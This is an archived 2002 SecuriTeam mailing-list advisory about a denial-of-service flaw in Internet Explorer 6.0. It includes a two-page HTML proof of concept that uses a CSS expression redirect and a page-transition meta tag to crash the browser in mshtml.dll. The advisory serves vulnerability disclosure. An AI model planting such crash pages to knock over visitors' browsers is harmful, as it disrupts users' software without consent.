

# [NT] Page Transitions Denial of Service Attack

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0054.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 07/12/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Fri, 12 Jul 2002 20:11:18 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Page Transitions Denial of Service Attack

---

## SUMMARY

Internet Explorer 6.0 can be made to throw an exception using specially crafted JavaScript commands and page transitions. Problems arise when a page transition is activated by a new page when the old page has not been rendered yet. This situation can occur when JavaScript redirects the browser before the page is fully rendered.

## DETAILS

Example:

The following two pages, called 1.html and 2.html, crash IE with an Access violation in mshtml.dll when 1.html is loaded into IE.

1.html:

```
<HTML style="width:expression(navigate('2.html'));"></HTML>
```

2.html:

```
<HTML><HEAD><META http-equiv="Page-Enter"
content="blendTrans()"></HEAD></HTML>
```

Demonstration:

For an online demonstration, see the following web page:

<<http://spoor12.edup.tudelft.nl/SkyLined v4.2/?Advisories/Microsoft>

Securiteam: [NT] Page Transitions Denial of Service Attack

Internet Explorer/Page transition DoS>  
<http://spoor12.edup.tudelft.nl/SkyLined> v4.2/?Advisories/Microsoft  
Internet Explorer/Page transition DoS

ADDITIONAL INFORMATION

The information has been provided by <mailto:[SkyLined@edup.tudelft.nl](mailto:SkyLined@edup.tudelft.nl)>  
Berend-Jan Wever.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[\[UNIX\] Cross-Site Scripting Vulnerability in PHP Classifieds](#)"
  - **Messages sorted by:** [\[ date \] \[ thread \] \[ subject \] \[ author \] \[ attachment \]](#)